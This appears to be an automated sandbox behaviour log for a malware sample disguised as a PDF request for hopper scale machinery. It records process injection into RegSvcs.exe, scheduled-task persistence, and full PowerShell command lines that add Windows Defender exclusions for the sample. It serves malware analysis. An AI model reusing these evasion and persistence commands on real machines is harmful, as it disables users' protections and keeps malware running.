Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98810	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98681	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98513	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97836	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98903
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98782
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98621
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98077
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97731
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97624
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95811
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95439
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95169
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95062
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94952
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94515
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94294
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94078

Source: RegSvcs.exe, 0000000A.00000002.1488316798.0000000005EA0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.3882449915.0000000005F1D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe"
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vmPeKTe.exe"
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vmPeKTe.exe"	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: B93008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: B39008	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vmPeKTe.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpF3B7.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Queries volume information: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
